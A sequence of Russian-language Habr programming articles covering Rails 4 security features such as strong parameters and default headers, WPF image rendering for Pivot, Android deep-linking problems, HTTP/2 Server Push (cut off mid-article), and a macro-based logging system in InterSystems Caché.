Советуем вам подписаться на рассылку [Rails Security](https://groups.google.com/forum/?fromgroups#%21forum/rubyonrails-security) (приходящую крайне редко) и следить за уязвимостями, вовремя обновляться и тестировать свой деплоймент в отладочной среде каждый раз после публикации очередной уязвимости. Иначе вы делаете себя отличной мишенью для очередного script kiddie или бота, гуляющего по сети с базой данных известных уязвимостей.
##### Mass Assignment защита в контроллере
Лично я рад, что mass assignment защита была перенесена в контроллер. Этого осуществимо простым добавлением атрибутов объекта в черный или белый список внутри контроллера. Взгляните на простой пример.
Допустим, вы создаёте небольшое веб приложение, чтобы принимать рецепты (кулинарные). Любой, кто создаёт рецепт, становится известен, как “chef” и у рецепта есть имя, ингредиенты и описание. Ради оперативности мы будем подразумевать, что вопросы авторизации и аутентификации уже решены.
```
**class RecipesController < ApplicationController
def create
@recipe = Recipe.new(recipe\_params)
@recipe.chef = current\_user # explicitly assign it to the right user
if @recipe.valid? and @recipe.save
redirect\_to @recipe,
:flash => { :notice =>
“Your recipe was added to the cookbook. Mmmm, tasty!” }
else
render :action => :new
end
end
private
def recipe\_params
params.require(:recipe).permit(:name, :ingredients, :directions)
end**
```
Применяя этот новый способ защиты mass assignment, мы говорим Recipe.new принять хэш, который вернул нам метод recipe\_params, который является частным (private) методом контроллера. Этот метод отделяет всё ненужное, что недозволенно “recipe” параметрами. Если я бы захотел послать следующее к этому контроллеру (представленному хэшем):
{name: “Texas Chili”, ingredients: “hot stuff”, chef\_id: “123”}
“chef\_id” параметр был бы удалён методом recipe\_params, потому что он не разрешён, и затем “прошедший санабработку” хэш передался бы к Recipe.new. Это предотвратило бы произвольное присвоение объекта Recipe любому “chef” (автору), которого бы выбрал аттакующий.
Это солидное изменение, в сравнении с тем, как mass assignment обрабатывался в предыдущих версиях Rails. Вместо того, чтобы пихать эти проблемы в модель, теперь они решаются внутри контроллера. Это может быть несколько спорным по ряду причин.
Я помню, что разговаривал с одним из участников на [Austin Web Bash](http://www.refreshaustin.org/bash/) по поводу разногласий, где же находятся ответственности поведения объекта. По теории пуризма, могло бы быть возможным направить любую информацию к объекту и верить, что объект сам знает, что с этим делать. Так работала защита mass assignment в предыдущих версиях Rails с его attr\_accessible/attr\_protected. Вы могли передать объекту любую информацию (тесты, live production данные по HTTP, и т.д.) и объект был ответственен за её обработку.
Однако это палка о двух концах. Rails является фреймворком для веб приложений. Это означает, что, по сути, информация подаётся из двух каналов: пользователем и разработчиком. Разработчику стоило бы верить, а пользователю — нет. Так как единственным местом атаки со стороны пользователя является контроллер, это было бы логичным местом для защиты информации, вместо того, чтобы делать это внутри самой модели. В большинстве проектов вы столкнётесь с ситуациями, которые потребуют доступа через консоль или манипуляций с информацией (то же мигрирование). Набор руками ‘object.method = “foo”’ для различных специфических свойств каждый раз, когда это нужно, является пустой тратой времени, превращает вас в зомби и убивает продуктивность. С защитой mass assignment в модели это то, что вас ожидает. Даже в случае программных миграций и тестов, всё равно есть шанс возникновения непредвиденных проблем в разработки тестировании из-за mass assignment защиты на модельном уровне, даже если вы манипулируете информацией в бэкенде безопасным способом. Переместив эти задачи в контроллер, мы избавляемся от этой проблемы и одновременно сохраняем чистоту пользовательского ввода.
По сути, это выбор: или более гибкие операции с данными, следя за чистотой ввода при помощи контроллера, или менее гибкие, но с сохранением желаемого дизайна объекта. Если вы всё же хотите использовать attr\_protected/accessible, используйте [protected\_attributes](https://github.com/rails/protected_attributes) джем в вашем Rails 4 приложении.
Если вы хотите начать использовать защиту на уровне контроллера, взгляните на [strong\_parameters](https://github.com/rails/strong_parameters) джем, совместимый с Rails 3.2.x.
##### Default Headers
В Rails 4 будет включена опция, при помощи которой вы можете указать заголовки по умолчанию, которые будут возвращаться с каждым ответом вашего приложения. Если браузер на другом конце будет поддерживать такие заголовки, то это позволит повысить уровень безопасности при работе конечного пользователя с вашим приложением.
В Rails 4 следующие заголовки будут заданы по умолчанию при каждом ответе:
```
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
'X-Content-Type-Options' => 'nosniff'
}
```
Вы также можете установить и другие. Больше об этом можете почитать в посте — [edge guide on security](http://edgeguides.rubyonrails.org/security.html#default-headers).
Это также может быть полезно разработчикам мобильных приложений. Вы сможете влключать мета-данные по умолчанию во все запросы, и затем построить своё приложение так, чтобы она искала эти мета-данные. И хотя вы всегда можете добавить заголовки к каждому запросу через контроллеры, эта опция позволит вам делать это автоматически для каждого запроса.
##### Encrypted Cookies
[Здесь](https://github.com/rails/rails/pull/8112) описано как работают зашифрованные cookies в Rails 4. Если кратко, то у вас будет новая session\_store опция под названием ‘encrypted\_cookie\_store’. Этот session store зашифрует cookies когда отсылает их, и расшифрует, когда приложение будет готово их считать. Это предотвратит фальсификацию со стороны конечного пользователя и будет служить дополнительным уровнем защиты вашего приложения.
Однако даже с этой опцией, я всё равно бы предостерёг вас от хранения конфиденциальной информации в cookies. Алгоритм используемый для за/дешифровки вроде бы основан на SHA, это означает, что кластер GPU и немножко программирования на [CUDA](http://www.nvidia.com/object/cuda_home_new.html), и конфиденциальная информация внутри cookie всё равно может быть выужена достаточно быстро, так как на всё семейство SHA алгоритмов не требуется очень много вычислительных ресурсов, как, например для bcrypt. И если обобщать, хранение конфиденциальной информации на стороне пользователя является плохой идеей. Лучше хранить это в какой либо базе данных, защищённой сетевым уровнем доступа и вашим приложением.
В любом случае, возможность зашифровывать ваши cookies крайне полезна для предотвращения фальсификаций, и [этот способ хранения cookies/сессий в Rails 4 выставлен по умолчанию](https://github.com/rails/rails/blob/master/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt).
#### Чего же не будет в Rails 4?
Есть пару очень ожидаемых нововведений, которые, судя по всему, не будут включены в Rails 4.0. Возможно из включат в 4.1.
##### Фоновые очереди
Rails 4 поначалу имел возможность фоновых очередей в API, и Sidekiq и/или Resque могли бы интегрировать это в свою работу. Однако [этот коммит](https://github.com/rails/rails/commit/f9da785d0b1b22317cfca25c15fb555e9016accb) перенёс эти возможности в отдельную от главной ветку, ссылаясь на то, что эта возможность была еще “полусырой”. Rafael Franca отмечает, что этот функционал был неким препятствием для выхода Rails 4, и он отложил его дебют, чтобы не задерживать основной релиз.
##### Асинхронный ActionMailer
Так как API c поддержкой фоновых очередей был отложен, поддержка асинхронного ActionMailer также была отложена, так как его функционал зависит от функционала, предоставляемого фоновыми очередями через API.
##### where.like и where.not\_like
Многие ожидали возможности обращаться к ‘not\_like’ методу в модели, например, Book.where.not\_like(title: “%Java%”), однако [этот коммит](https://github.com/rails/rails/commit/8d02afeaee8993bd0fde69687fdd9bf30921e805) отодвинул выход этого функционала из ActiveRecord. [DHH приводит причины](https://github.com/rails/rails/commit/8d02afeaee8993bd0fde69687fdd9bf30921e805#commitcomment-2302911), вызвавшие это решение, хотя, кажется, не все с ним согласны. Он предлагает, чтобы комьюнити вынесла это в отдельный джем, вместо того, чтобы делать это частью ActiveRecord. Один из его аргументов было нежелание продвигать дальше DSL в такие вещи как “greater\_than\_or\_equal”, потому что использование знака процента похоже на странный синтаксический конфликт в Ruby, и что LIKE запросы в общем-то достаточно редки.
#### Заключительные мысли
В Rails 4 есть много нового и интересного, что позволит вам создавать более безопасные, семантически правильные и эффективные приложения. Я бы порекомендовал всем начать обновлять их кодовую базу до Rails 4, как только он выйдет, однако делать это нужно должным образом.
Тем, кто всё ещё использует Rails 2.x, я рекомендую обновить свою кодовую базу хотя бы до Rails 2.3.15 (последняя версия со всеми патчами), а затем до Rails 3.2. Вы можете мигрировать релиз за релизом, чтобы не спешить и всё сделать аккуратно, или, если вам хватает смелости, сразу обновитесь до 3.2 и разбирайтесь со всем проблемами по мере их возникновения. Естественно, хорошее покрытие кода в тестах будет ключевым фактором при обнаружении проблем до запуска приложения в производство, и мы всегда советуем сначала запускать приложение в отладочной среде ([клонируя рабочую](https://support.cloud.engineyard.com/entries/21009907-clone-an-environment)) перед окончательным развертыванием приложения.
Тем из вас, кто уже использует 3.2 обновиться будет проще всего, так как многое в Rails 4 является переработанными возможностями с некоторыми встроенными нововведениями. Используйте преимущества зашифрованного cookie store и измените свою защиту mass assignment, и переместите её на уровень контроллера (если только вы действительно не против такого подхода и желаете использовать вместо этого вышеупомянутый джем).
В целом, Rails 4 будет отличным релизом со многими улучшениями фреймворка, который мы знаем и любим. Я с нетерпением его ожидаю, и, надеюсь, я не одинок.
Для дальнейшего изучения:
[blog.remarkablelabs.com/2012/11/rails-4-countdown-to-2013](http://blog.remarkablelabs.com/2012/11/rails-4-countdown-to-2013)
[blog.wyeworks.com/2012/11/13/rails-4-compilation-links](http://blog.wyeworks.com/2012/11/13/rails-4-compilation-links/)
[weblog.rubyonrails.org/2012/11/21/the-people-behind-rails-4](http://weblog.rubyonrails.org/2012/11/21/the-people-behind-rails-4/)
[edgeguides.rubyonrails.org/4\_0\_release\_notes.html](http://edgeguides.rubyonrails.org/4_0_release_notes.html)
[rubyrogues.com/081-rr-rails-4-with-aaron-patterson](http://rubyrogues.com/081-rr-rails-4-with-aaron-patterson/)
Rails 4 Whirlwind Tour: [vimeo.com/51181496](http://vimeo.com/51181496)
Эта статья является переводом статьи на нашем официальном блоге.
[Часть 1](https://blog.engineyard.com/2013/rails-4-changes), [Часть 2](https://blog.engineyard.com/2013/new-in-rails-4).
Автор — [J. Austin Hughey](https://github.com/jaustinhughey)
Перевод — мой
*Я планирую переводить все важные новости нашей компании и все интересные статьи, появляющиеся в [нашем блоге](https://blog.engineyard.com). Было бы крайне интересно выслушать пожелания и советы.
Я постараюсь ответить на возможные вопросы. Если мне не хватит технических знаний — переспрошу у наших инжeнеров. Спасибо!* | https://habr.com/ru/post/170473/ | null | ru | null |
# Рендеринг картинок через WPF на примере Pivot
[Pivot](http://www.microsoft.com/silverlight/pivotviewer/) не нуждается в представлении. Если вбить это слово в поиск хабра, результатом будут 37 статей, среди которых есть как обзоры, так и туториалы. Поэтому я решил сосредоточить свои усилия лишь на одном аспекте работы с Pivot — на картинках.
Удобство работы с Pivot сильно зависит от выбранных для него картинок. Картинки низкого разрешения или разных размеров и стилей могут испортить все впечатление. Бывают и такие ситуации, что картинок вообще нет и не может быть, так как все данные находятся в базе в виде чисел, строк и дат.
Существует много способов программной генерации картинок по шаблону. Один из них даже встроен в библиотеку [PautorLib](http://pauthor.codeplex.com/), которая помогает подготавливать данные в формат, понятный PivotViewer. В качестве шаблона там используется HTML.
В этой статье я рассмотрю решение задачи средствами WPF. Шаблоном в нашем случае будет являться UserControl, в котором могут быть различные TextBlock и Image, свойства которых можно устанавливать в коде. Чтобы не быть голословным, рассмотрим все на примере.
Для примера была взята информация о первой тысяче пользователей из топа хабра. Для этого был написан бот, который неспеша собрал все данные и положил в MongoDB.
Класс, который берет данные о пользователе и преобразует их в картинку, выглядит приблизительно [так (pastebin)](http://pastebin.com/YZUmBhZ2).
На выходе были получены вот такие картинки:
Для того, чтобы добиться такого качества шрифтов, в шаблоне нужно установить слудующие свойства:
```
TextOptions.TextFormattingMode="Display"
RenderOptions.ClearTypeHint="Enabled"
```
Для отрисовки контрола в картинку используется класс [RenderTargetBitmap](http://msdn.microsoft.com/en-us/library/system.windows.media.imaging.rendertargetbitmap.aspx). У него есть своя особенность — картинки на выходе имеют нечеловеческий формат Pbgra32. Другие форматы не поддерживаются. Поэтому приходится дополнительно прогонять получившийся bitmap через класс [FormatConvertedBitmap](http://msdn.microsoft.com/en-us/library/system.windows.media.imaging.formatconvertedbitmap.aspx), чтобы на выходе получить Rgb24. После этого результат кодируется в PNG через [PngBitmapEncoder](http://msdn.microsoft.com/ru-ru/library/system.windows.media.imaging.pngbitmapencoder.aspx) и сохраняется в файл.
Все это происходит по таймеру ([DispatcherTimer](http://msdn.microsoft.com/ru-ru/library/system.windows.threading.dispatchertimer.aspx)) и выглядит это следующим образом — срабатывает таймер, шаблон заполняется новыми данными, снова срабатывает таймер, перерисованное окно с новыми данными преобразуется в картинку.
Все это хозяйство с таймером, шаблоном и окном запускается в отдельном STA потоке, как того требуют WPF. Поток в свою очередь запускается вызовом функции.
Что касается скорости подобного решения, то главным ограничением здесь является скорость записи на жесткий диск.
Пример программы для генерации картинок можно скачать по следующим ссылкам: [bin](http://dl.dropbox.com/u/4881980/bin.zip), [src](http://dl.dropbox.com/u/4881980/src.zip). В конфиге программы есть два ключа. TilesPath содержит путь к папке, в которую будут сохраняться готовые картинки. DemoRender — бинарное значение, которое переключает режимы программы (демонстрационный и рабочий). В демонстрационном режиме картинки не сохраняются на диск, а отображаются в окне в виде слайдшоу. В рабочем режиме картинки сохраняются, а окно прячется.
Ну и наконец [здесь](http://sigov-alex.narod.ru/) можно найти получившийся Pivot. Напоминаю, что это первая тысяча людей из топа хабра. Через поиск можно искать по UserName и DisplayName. По остальм свойствам можно фильтровать, сортировать и группировать. Вот несколько скриншотов для тех, кто по тем или иным причинам не может его увидеть: [img1](http://habrastorage.org/storage/d151d67e/28ece300/d7a8430b/8e324fdc.png), [img2](http://habrastorage.org/storage/975098b5/a491ad6f/ece3d6c6/22357afc.png), [img3](http://habrastorage.org/storage/af8c0151/bcb4d3ed/51435aa8/1dc1ec10.png), [img4](http://habrastorage.org/storage/a3912bf8/271e1618/e96dd518/6e5748fe.png), [img5](http://habrastorage.org/storage/508f7933/8fa636da/ffa18cb4/10f6ad6b.png), [img6](http://habrastorage.org/storage/1948f2f7/e5e4cd09/287abe17/41d38f06.png). | https://habr.com/ru/post/109387/ | null | ru | null |
# Недостатки Navigation Component deep linking и как их обойти
Недавно, на одном из небольших проектов передо мной встала задача открытия различных экранов приложения из вне через deep links, захотелось попробовать и понять, что такого для deep linking смогли придумать ребята из Google, учитывая как красиво они об этом рассказывают в своих презентациях и документации.
Далее я опишу недостатки, с которыми пришлось столкнуться, и почему я больше не буду использовать deep linking из Navigation Component.
Нет возможности указать host через manifest placeholder
-------------------------------------------------------
В приложении использовались два типа сборки для staging и production, соответственно для каждого из них нужен разный host, как для API так и для deep linking. Оказалось, что сделать это универсальным способом невозможно, например так:
```
```
Подходящего решения как это обойти я не нашел, и пришлось указывать один и тот же deepLink дважды:
```
```
Далеко не идеальный вариант, так как приходится дублировать deepLink, легко что-то забыть, и кроме того, на основе этого будут сгенерированы intent фильтры в AndroidManifest.xml для обоих хостов, чего не очень хотелось бы для production сборки, чтобы не увеличивать ее размер и не раскрывать информацию о staging хосте. [Issue](https://issuetracker.google.com/issues/110237825) этой проблемы висит уже несколько лет в трекере Google в статусе `Won't fix (Infeasible)`, в другом [issue](https://issuetracker.google.com/issues/36994900#comment35) появилась информация, что они добавили поддержку manifest placeholders для deepLink в AGP `7.3.0-alpha08`, и теперь можно сделать так:
* в build.gradle указать scheme и host:
```
staging {
manifestPlaceholders = [scheme: "https", host: "staging-company.com"]
}
prod {
manifestPlaceholders = [scheme: "https", host: "company.com"]
}
```
* и использовать их в теге диплинки:
Но только навигация через такой диплинк перестает работать, видимо дает о себе знать alpha версия AGP, но есть надежда, что это все-таки исправят в стабильном релизе.
Необходимо указывать deep links в xml
-------------------------------------
На первый взгляд мне показалось это удобным, так как deepLink указывается непосредственно там к чему относится. Но на практике нет, если у вас несколько графов, то все диплинки разбросаны по разным xml файлам, и усложняют их и без того непростую структуру, а совместно с отсутствием возможности указать host диплинок через manifest placeholder, фрагменты, к которым привязаны несколько диплинок, стали выглядеть громоздко:
```
...
```
Нужно добавлять autoVerify каждому deep link отдельно
-----------------------------------------------------
Выглядит это как в предыдущем примере, нужно указывать каждому deep link `android:autoVerify="true"` отдельно, если необходимо, чтобы это работало как [Android App Links](https://developer.android.com/training/app-links#android-app-links). А раньше можно было настроить один intent-filter для всех диплинок одного хоста и указать autoVerify для них один раз.
Нет приоритетов для deep links с одинаковой структурой
------------------------------------------------------
С этой проблемой я столкнулся, когда понадобилось указать deepLink с одинаковой структурой для фрагментов в Bottom Navigation, и в основном графе приложения.
Например, в Bottom Navigation графе был экран профиля пользователя, который мог быть открыт с разными параметрами:
```
...
```
а в основном графе был экран подписок пользователя:
```
```
В результате, при открытии ссылки `https://company.com/user/subscriptions` срабатывали оба deepLink. Хотелось бы иметь возможность как-то указывать приоритеты или стратегию разрешения конфликтов в таких случаях.
Рекомендуется использовать только default launchMode
----------------------------------------------------
Google настоятельно [рекомендует использовать](https://developer.android.com/guide/navigation/navigation-deep-link#handle) только `android:launchMode="standard"` , чтобы [handleDeepLink()](https://developer.android.com/reference/androidx/navigation/NavController#handleDeepLink(android.content.Intent)) вызывался автоматически, во время установки графа. В противном случае нужно будет делать это вручную, переопределив метод `onNewIntent()` у активити:
```
override fun onNewIntent(intent: Intent?) {
super.onNewIntent(intent)
navController.handleDeepLink(intent)
}
```
Но когда я попробовал так сделать и использовать `singleTop` , то понял почему Google настоятельно рекомендует обратное. В этом случае, после открытия первой диплинки, открытие последующих ни к чему не приводит, просто открывается приложение с экраном для предыдущей диплинки, пока не пересоздастся активити.
Очистка backstack перед открытием deep link
-------------------------------------------
Эту проблему обсуждали уже в других статьях на хабре и выяснили, что это не баг, а фича. В документации также появилось [описание](https://developer.android.com/guide/navigation/navigation-principles#deep-link) такого поведения.
Но для диплинки, которая открывает экран в графе Bottom Navigation это выглядит как баг, потому что при переключение на другую табу, мы можем увидеть тот же самый экран, что перед этим открыла диплинка, так как по умолчанию backstack для этой табы не сохраняет состояние. Есть [issue](https://issuetracker.google.com/issues/213131384) в их трекере в статусе `Won't fix (Intended behavior)` , то есть и такое поведение они считают намеренным.
Выводы
------
По моим ощущениям, гораздо проще реализовать свой собственный DeepLinkHandler и иметь больше свободы и гибкости, чем постоянно искать способы обойти недостатки Navigation Component. Реализация deep linking в Navigation Component до сих пор оставляет желать лучшего, и обладает рядом недостатков и особенностей, и скорее подходит только для простых сценариев или небольших приложений.
К сожалению, за последние несколько лет не было значительных улучшений, и выглядит это так, как будто эта фича была не совсем правильно спроектирована изначально.
Так как Compose уже наступает на пятки и набирает популярность, то надеюсь они учтут прошлый опыт и доработают для него deep linking и navigation в целом.
### Полезные ссылки
* [Документация](https://developer.android.com/guide/navigation/navigation-deep-link) по deep linking в Navigation Component.
* [Обсуждение](https://stackoverflow.com/questions/57841507/navigation-components-deeplink-using-uri-depending-buildtype) на stackoverflow как можно обойти проблему с настройкой разных хостов.
* [Статья](https://habr.com/ru/company/hh/blog/520198/) от коллег из Head Hunter, в которой описаны некоторые проблемы и пути их решения.
* Старая (но до сих пор актуальная) [статья](https://habr.com/ru/company/yandex/blog/455479/) от коллег из Яндекса, о том с какими проблемами столкнулись при внедрении Jetpack navigation, в том числе рассказывают о проблемах с deep links. | https://habr.com/ru/post/684224/ | null | ru | null |
# Исчерпывающее руководство по использованию HTTP/2 Server Push
*Привет! Меня зовут Александр, и я – фронтенд-разработчик в компании Badoo. Пожалуй, одной из самых обсуждаемых тем в мире фронтенда в последние несколько лет является протокол HTTP/2. И не зря – ведь переход на него открывает перед разработчиками много возможностей по ускорению и оптимизации сайтов. Этот пост посвящён как раз одной из таких возможностей – Server Push. Cтатья Джереми Вагнера показалась мне интересной, и поэтому делюсь полезной информацией с вами.*
Не так давно возможности разработчиков, ориентированных на производительность, заметно изменились. И появление HTTP/2 стало, возможно, самым значительным изменением. HTTP/2 больше не является фичей, которую мы с нетерпением ждём, — он уже существует (и успешно помогает справляться с проблемами вроде блокировки начала очереди и несжатых заголовков, существующими в HTTP/1), а «в комплекте» с ним идёт Server Push!
Эта технология позволяет отправлять пользователям ресурсы сайта, прежде чем они их попросят. Это элегантный способ добиться преимущества в производительности методов оптимизации HTTP/1, таких как, например, встраивание, и избежать недостатков, связанных с этой практикой.
Из этой статьи вы узнаете всё о Server Push – от принципа её работы до решаемых ею проблем: как её использовать, как определить, работает ли она и каково её влияние на производительность, и многое другое.
### Что такое Server Push?
Доступ к веб-сайтам всегда осуществляется по шаблону «Запрос – ответ»: пользователь отправляет запрос на удалённый сервер, который с некоторой задержкой присылает ответ с запрошенным контентом.
В первоначальном запросе к веб-серверу обычно запрашивается HTML-документ. Сервер отвечает запрошенным HTML-ресурсом. Полученный HTML-документ анализируется браузером, в результате чего из него извлекаются ссылки на другие ресурсы, такие как таблицы стилей, скрипты и изображения. После их обнаружения браузер отправляет отдельный запрос для каждого ресурса и получает соответствующие ответы.
[](http://provide.smashingmagazine.com/normal-server-response.svg?_ga=2.144038709.1270586062.1496060328-1210285719.1489059928)
Проблема этого механизма заключается в том, что он заставляет пользователя ждать, пока браузер обнаружит и извлечёт необходимые ресурсы уже после того, как HTML- документ загружен. Это задерживает рендеринг и увеличивает время загрузки.
У нас есть решение этой проблемы. Server Push позволяет серверу превентивно «проталкивать» ресурсы веб-сайта клиенту, прежде чем пользователь запросит их явно. То есть мы можем заранее отправить то, что, как мы знаем, понадобится пользователю для запрашиваемой страницы.
Предположим, у вас есть веб-сайт, где все страницы полагаются на стили, определённые во внешней таблице стилей именем `styles.css`. Когда пользователь запрашивает index.html с сервера, мы можем отправить `styles.css` сразу после того, как начнём отправлять ответ для `index.html`.
[](http://provide.smashingmagazine.com/server-push-response.svg?_ga=2.144038709.1270586062.1496060328-1210285719.1489059928)
Вместо того чтобы ждать, пока сервер пришлёт `index.html`, а затем – пока браузер запросит и получит `styles.css`, пользователю нужно лишь дождаться ответа на свой первоначальный запрос. Этот ответ будут содержать оба файла: и `index.html`, и `styles.css`. А это означает, что браузер может начать рендеринг страницы быстрее, чем если бы ему пришлось ждать.
Как видите, использование Server Push позволяет уменьшить время рендеринга страницы. А также – решить некоторые другие проблемы, особенно в части фронтенд-разработки.
### Какие проблемы решает Server Push?
Уменьшение количества обращений к серверу для получения критически важного контента – лишь одна из проблем, решаемых Server Push, но далеко не единственная.
Так, Server Push является подходящей альтернативой ряда антипаттернов оптимизации HTTP/1, таких как встраивание CSS и JavaScript непосредственно в HTML или использование [data URI scheme](https://en.wikipedia.org/wiki/Data_URI_scheme) для внедрения бинарных данных в CSS и HTML. Эти методы имеют ценность при оптимизации HTTP/1, поскольку они уменьшают субъективное время загрузки страницы. Это означает, что, хотя общее время загрузки страницы не может быть уменьшено, страница будет загружаться быстрее для пользователя.
Безусловно, это имеет смысл. Если вы встраиваете CSS в HTML-документ в теги | https://habr.com/ru/post/329722/ | null | ru | null |
# Пишем систему логирования в InterSystems Caché
Введение
--------
В [предыдущей](http://habrahabr.ru/company/intersystems/blog/258081/) статье мы рассмотрели основные варианты использования макросов, теперь перейдём к написанию более обширного примера, использующего макросы. Писать будем систему логирования.
Система логирования
-------------------
Это нужный и полезный инструмент для протоколирования работы приложения. Значительно экономит время, затрачиваемое на отладку и вылавливание различных багов. Система состоит из двух частей:
* Класс хранения логов
* Набор макросов для автоматического добавления новой записи в лог
### Класс хранения логов
Составим таблицу того, что нам надо хранить, сразу же напишем, когда возможно получить эти данные — во время компиляции или исполнения программы. Это потребуется при написании второй части системы — макросов, где мы, очевидно, стремимся узнать как можно больше логируемых данных во время компиляции:
| **Информация** | **Время получения** |
| --- | --- |
| Тип события | Компиляция |
| Имя класса | Компиляция |
| Имя метода | Компиляция |
| Аргументы, переданные в метод | Компиляция |
| № строки исх. Кода | Выполнение |
| Имя пользователя | Выполнение |
| Дата/Время | Выполнение |
| Сообщение | Выполнение |
| IP адрес | Выполнение |
Создадим класс App.Log. В нём создадим все вышеперечисленные свойства. При создании объекта класса App.Log свойства Имя пользователя, Дата/Время, IP адрес заполняются автоматически.
**Класс App.Log**Class App.Log Extends %Persistent
{
/// Замещение несуществующих значений
Parameter Null = "Null";
/// Тип события
Property EventType As %String(MAXLEN = 10, VALUELIST = ",NONE,FATAL,ERROR,WARN,INFO,STAT,DEBUG,RAW");
/// Имя класса
Property ClassName As %String(MAXLEN = 256);
/// Имя метода
Property MethodName As %String(MAXLEN = 128);
/// Строка int кода
Property Source As %String(MAXLEN = 2000);
/// Имя пользователя
Property UserName As %String(MAXLEN = 128) [ InitialExpression = {$username} ];
/// Аргументы, переданные в метод
Property Arguments As %String(MAXLEN = 32000, TRUNCATE = 1);
/// Дата/время
Property TimeStamp As %TimeStamp [ InitialExpression = {$zdt($h, 3, 1)} ];
/// Произвольное сообщение
Property Message As %String(MAXLEN = 32000, TRUNCATE = 1);
/// Сетевой адрес пользователя
Property ClientIPAddress As %String(MAXLEN = 32) [ InitialExpression = {..GetClientAddress()} ];
Index idxEventType On EventType [ Type = bitmap ];
Index idxUserName On UserName [ Type = bitmap ];
Index idxClassName On ClassName [ Type = bitmap ];
Index idxTimeStamp On TimeStamp [ Type = bitslice ];
Index idxClientIPAddress On ClientIPAddress;
/// Определяем сетевой адрес пользователя
ClassMethod GetClientAddress()
{
// Если существует сессия CSP, то возьмём оттуда
#dim %request As %CSP.Request
If ($d(%request)) {
Return %request.CgiEnvs("REMOTE\_ADDR")
}
Return $system.Process.ClientIPAddress()
}
/// Добавление события.
/// Использовать не напрямую, а через макросы $$$LogEventTYPE().
ClassMethod AddRecord(ClassName As %String = "", MethodName As %String = "", Source As %String = "", EventType As %String = "", Arguments As %String = "", Message As %String = "")
{
Set record = ..%New()
Set record.Arguments = Arguments
Set record.ClassName = ClassName
Set record.EventType = EventType
Set record.Message = Message
Set record.MethodName = MethodName
Set record.Source = Source
Do record.%Save()
}
}
### Макросы логирования
Обычно макросы выделяют в отдельные inc файлы, где хранятся только сами определения макросов. Подключают необходимые файлы к классам командой Include MacroFileName. В данном случае Include App.LogMacro.
Для начала определим основной макрос, котором пользователь будет добавлять в код своего приложения:
#define LogEvent(%type, %message) Do ##class(App.Log).AddRecord($$$CurrentClass, $$$CurrentMethod, $$$StackPlace, %type,
$$$MethodArguments, %message)
На вход данный макрос принимает 2 аргумента — Тип события и Сообщение. Сообщение пользователь задаёт сам, а вот для передачи типа события напишем дополнительные макросы, отличающиеся названиями и передающие Тип события без необходимости каких-либо действий со стороны пользователя:
**Макросы LogTYPE**#define LogNone(%message) $$$LogEvent("NONE", %message)
#define LogError(%message) $$$LogEvent("ERROR", %message)
#define LogFatal(%message) $$$LogEvent("FATAL", %message)
#define LogWarn(%message) $$$LogEvent("WARN", %message)
#define LogInfo(%message) $$$LogEvent("INFO", %message)
#define LogStat(%message) $$$LogEvent("STAT", %message)
#define LogDebug(%message) $$$LogEvent("DEBUG", %message)
#define LogRaw(%message) $$$LogEvent("RAW", %message)
Таким образом пользователю для использования логирования достаточно установить макрос $$$LogError("Дополнительное сообщение") в коде приложения.
Осталось определить макросы $$$CurrentClass, $$$CurrentMethod, $$$StackPlace, $$$MethodArguments. Начнём с первых трёх:
#define CurrentClass ##Expression($$$quote(%classname))
#define CurrentMethod ##Expression($$$quote(%methodname))
#define StackPlace $st($st(-1),"PLACE")
Переменные %classname,%methodname описаны в [документации](http://docs.intersystems.com/ens20151/csp/docbook/DocBook.UI.Page.cls?KEY=GCOS_macros#GCOS_C5957) макросов. Для получения номера строки int кода используется функция [$stack](http://docs.intersystems.com/ens20151/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_fstack).
Для получения списка аргументов методов и их значений воспользуемся пакетом %Dictionary. Там хранятся все описания классов, в том числе и описания методов. В частности на интересует класс %Dictionary.CompiledMethod и его свойство FormalSpecParsed — $lb структура следующего вида: $lb($lb("Название","Класс","Тип(Output/ByRef)","Значение по умолчанию"),...)
соответствующая сигнатуре метода. К примеру у метода ClassMethod Test(a As %Integer = 1, ByRef b = 2, Output c) будет следующий FormalSpecParsed:
$lb(
$lb("a","%Library.Integer","","1"),
$lb("b","%Library.String","&","2"),
$lb("c","%Library.String","\*",""))
В результате выполнения макроса $$$MethodArguments нужно получить следующий код (для метода Test): "a="\_$g(a,"Null")\_"; b="\_$g(b,"Null")\_"; c="\_$g(c,"Null")\_";"
Для этого на этапе компиляции нужно:
* Получить имя класса и имя метода
* Открыть соответствующий экземпляр класса %Dictionary.CompiledMethod и получить свойство FormalSpec
* Преобразовать его в строку исходного кода
Добавим соответствующие методы в класс App.Log:
**Методы GetMethodArguments, GetMethodArgumentsList, ArgumentsListToString**ClassMethod GetMethodArguments(ClassName As %String, MethodName As %String) As %String
{
Set list = ..GetMethodArgumentsList(ClassName,MethodName)
Set string = ..ArgumentsListToString(list)
Return string
}
ClassMethod GetMethodArgumentsList(ClassName As %String, MethodName As %String) As %List
{
Set result = ""
Set def = ##class(%Dictionary.CompiledMethod).%OpenId(ClassName \_ "||" \_ MethodName)
If ($IsObject(def)) {
Set result = def.FormalSpecParsed
}
Return result
}
ClassMethod ArgumentsListToString(List As %List) As %String
{
Set result = ""
For i=1:1:$ll(List) {
Set result = result \_ $$$quote($s(i>1=0:"",1:"; ") \_ $lg($lg(List,i))\_"=")
\_ "\_$g(" \_ $lg($lg(List,i)) \_ ","\_$$$quote(..#Null)\_")\_"
\_$s(i=$ll(List)=0:"",1:$$$quote(";"))
}
Return result
}
Теперь определим макрос $$$MethodArguments как:#define MethodArguments ##Expression(##class(App.Log).GetMethodArguments(%classname,%methodname))
### Пример использования
Создадим класс App.Use с методом Test для демонстрации возможностей системы логирования
**App.Use**Include App.LogMacro
Class App.Use [ CompileAfter = App.Log ]
{
/// Do ##class(App.Use).Test()
ClassMethod Test(a As %Integer = 1, ByRef b = 2)
{
$$$LogWarn("Текст")
}
}
В результате макрос $$$LogWarn("Текст") в int коде преобразуется в строку:
Do ##class(App.Log).AddRecord("App.Use","Test",$st($st(-1),"PLACE"),"WARN","a="\_$g(a,"Null")\_"; b="\_$g(b,"Null")\_";", "Текст")
После выполнения этого кода создается новый объект класса App.Log:
Улучшения
---------
Написав основу системы логирования, подумаем как её можно улучшить.
Во-первых добавим возможность обработки аргументов-объектов, потому что в данный момент будут записаны только [oref](http://docs.intersystems.com/ens20151/csp/docbook/DocBook.UI.Page.cls?KEY=GOBJ_objapi#GOBJ_objapi_oref) объектов.
